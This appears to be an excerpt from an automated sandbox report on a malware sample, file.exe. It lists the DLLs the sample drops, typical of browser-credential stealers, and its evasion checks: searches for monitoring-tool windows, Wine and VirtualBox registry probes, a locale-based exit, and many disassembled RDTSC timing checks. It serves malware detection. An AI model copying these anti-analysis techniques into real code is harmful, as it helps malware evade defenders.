Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown

Network traffic detected: IRC traffic on port 80 -> 49730

Source: C:\Users\user\Desktop\file.exe

0_2_00589860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13577

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93DB04 second address: 93DB14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDEE5138E4Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93DB14 second address: 93DB1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93DB1B second address: 93DB21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93DB21 second address: 93DB5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FDEE4BB4C08h 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDEE4BB4C19h 0x00000016 jmp 00007FDEE4BB4C14h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93DB5F second address: 93DB69 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDEE5138E4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934656 second address: 93465A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93CFE3 second address: 93CFE9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93D143 second address: 93D149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93D149 second address: 93D14D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93D43B second address: 93D447 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93D447 second address: 93D44B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93D44B second address: 93D44F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93D44F second address: 93D455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F60C second address: 93F61C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDEE4BB4C06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F696 second address: 93F6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 jc 00007FDEE5138E46h 0x0000000c pop edi 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007FDEE5138E55h 0x00000014 nop 0x00000015 or esi, dword ptr [ebp+122D2C53h] 0x0000001b push 00000000h 0x0000001d push edx 0x0000001e mov cx, 4D1Fh 0x00000022 pop ecx 0x00000023 push 86431A80h 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FDEE5138E4Ch 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F6DD second address: 93F753 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE4BB4C0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FDEE4BB4C0Ch 0x0000000e popad 0x0000000f add dword ptr [esp], 79BCE600h 0x00000016 sbb dh, FFFFFFD4h 0x00000019 push 00000003h 0x0000001b sub dword ptr [ebp+122D2F73h], edx 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push edx 0x00000026 call 00007FDEE4BB4C08h 0x0000002b pop edx 0x0000002c mov dword ptr [esp+04h], edx 0x00000030 add dword ptr [esp+04h], 00000019h 0x00000038 inc edx 0x00000039 push edx 0x0000003a ret 0x0000003b pop edx 0x0000003c ret 0x0000003d sub dword ptr [ebp+1243BF25h], ecx 0x00000043 mov edx, dword ptr [ebp+122D2A73h] 0x00000049 sub dword ptr [ebp+122D1C21h], ecx 0x0000004f push 00000003h 0x00000051 sub dword ptr [ebp+122D2F7Ah], ecx 0x00000057 push E4863701h 0x0000005c push eax 0x0000005d push edx 0x0000005e push ecx 0x0000005f push eax 0x00000060 pop eax 0x00000061 pop ecx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F817 second address: 93F821 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FDEE5138E46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F821 second address: 93F84B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE4BB4C14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c js 00007FDEE4BB4C14h 0x00000012 pushad 0x00000013 jp 00007FDEE4BB4C06h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F84B second address: 93F867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 clc 0x00000007 push 00000000h 0x00000009 movzx edx, si 0x0000000c call 00007FDEE5138E49h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push edi 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F867 second address: 93F86C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F86C second address: 93F89F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE5138E54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FDEE5138E54h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F89F second address: 93F93A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE4BB4C14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e pushad 0x0000000f jnc 00007FDEE4BB4C06h 0x00000015 push esi 0x00000016 pop esi 0x00000017 popad 0x00000018 jg 00007FDEE4BB4C0Ch 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 push edx 0x00000022 jmp 00007FDEE4BB4C16h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c jc 00007FDEE4BB4C12h 0x00000032 jp 00007FDEE4BB4C0Ch 0x00000038 pop eax 0x00000039 sub cx, 7027h 0x0000003e push 00000003h 0x00000040 push edx 0x00000041 mov edx, dword ptr [ebp+122D2A03h] 0x00000047 pop edx 0x00000048 push 00000000h 0x0000004a jmp 00007FDEE4BB4C0Dh 0x0000004f push 00000003h 0x00000051 mov si, CDC5h 0x00000055 call 00007FDEE4BB4C09h 0x0000005a jg 00007FDEE4BB4C10h 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F93A second address: 93F96E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 je 00007FDEE5138E4Ch 0x0000000f je 00007FDEE5138E46h 0x00000015 push edx 0x00000016 jmp 00007FDEE5138E53h 0x0000001b pop edx 0x0000001c popad 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 push esi 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F96E second address: 93F972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F972 second address: 93F992 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jmp 00007FDEE5138E51h 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F992 second address: 93F9D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jbe 00007FDEE4BB4C10h 0x00000010 pop eax 0x00000011 mov ecx, dword ptr [ebp+122D2A77h] 0x00000017 lea ebx, dword ptr [ebp+12441572h] 0x0000001d xchg eax, ebx 0x0000001e jmp 00007FDEE4BB4C11h 0x00000023 push eax 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F9D1 second address: 93F9D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F9D5 second address: 93F9D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9521BB second address: 9521C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9521C0 second address: 9521C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E012 second address: 95E033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDEE5138E59h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E1C9 second address: 95E1D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E7E4 second address: 95E7E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E952 second address: 95E957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E957 second address: 95E961 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDEE5138E4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E961 second address: 95E99F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FDEE4BB4C0Eh 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDEE4BB4C13h 0x00000014 jmp 00007FDEE4BB4C14h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95EB0C second address: 95EB18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 ja 00007FDEE5138E46h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95EFDD second address: 95EFE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F13C second address: 95F142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F142 second address: 95F152 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FDEE4BB4C12h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F152 second address: 95F158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F158 second address: 95F15C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9537DA second address: 9537E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDEE5138E46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9537E4 second address: 9537EE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDEE4BB4C06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9537EE second address: 953802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FDEE5138E48h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932A88 second address: 932AA6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDEE4BB4C06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FDEE4BB4C0Fh 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932AA6 second address: 932AB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95FBD3 second address: 95FBD8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95FBD8 second address: 95FBEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FDEE5138E46h 0x0000000a pop ecx 0x0000000b jo 00007FDEE5138E4Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95FE9C second address: 95FEAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE4BB4C0Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9601A8 second address: 9601B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9601B1 second address: 9601B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9659C9 second address: 9659DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEE5138E51h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9659DE second address: 9659E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965B5B second address: 965B7E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDEE5138E48h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 jmp 00007FDEE5138E51h 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 966DCB second address: 966DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jg 00007FDEE4BB4C0Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 966DE0 second address: 966DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96AA9C second address: 96AAB7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDEE4BB4C06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jns 00007FDEE4BB4C06h 0x00000011 pop ecx 0x00000012 push esi 0x00000013 jno 00007FDEE4BB4C06h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96B19C second address: 96B1CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDEE5138E51h 0x0000000c jbe 00007FDEE5138E5Ah 0x00000012 jmp 00007FDEE5138E54h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D181 second address: 96D18B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FDEE4BB4C06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96DA18 second address: 96DA1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96DC5B second address: 96DC64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96DC64 second address: 96DC68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96DE60 second address: 96DE89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007FDEE4BB4C0Eh 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f jmp 00007FDEE4BB4C0Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96F6AE second address: 96F6B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 970652 second address: 970658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9713A5 second address: 9713C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FDEE5138E52h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9713C3 second address: 9713C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9713C7 second address: 971425 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDEE5138E46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c add esi, 2B996DBDh 0x00000012 stc 0x00000013 push 00000000h 0x00000015 call 00007FDEE5138E50h 0x0000001a pop esi 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push esi 0x00000020 call 00007FDEE5138E48h 0x00000025 pop esi 0x00000026 mov dword ptr [esp+04h], esi 0x0000002a add dword ptr [esp+04h], 0000001Dh 0x00000032 inc esi 0x00000033 push esi 0x00000034 ret 0x00000035 pop esi 0x00000036 ret 0x00000037 jo 00007FDEE5138E4Ch 0x0000003d mov edi, dword ptr [ebp+122D2FD2h] 0x00000043 push eax 0x00000044 push ecx 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971425 second address: 97142B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971EE3 second address: 971EE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971EE8 second address: 971F50 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jo 00007FDEE4BB4C06h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FDEE4BB4C08h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 clc 0x0000002a or dword ptr [ebp+1243F867h], edx 0x00000030 push 00000000h 0x00000032 call 00007FDEE4BB4C15h 0x00000037 mov dword ptr [ebp+122D35D1h], edi 0x0000003d pop edi 0x0000003e or edi, dword ptr [ebp+12448FE0h] 0x00000044 push 00000000h 0x00000046 movsx edi, bx 0x00000049 push eax 0x0000004a jbe 00007FDEE4BB4C10h 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971CF6 second address: 971CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971CFF second address: 971D03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
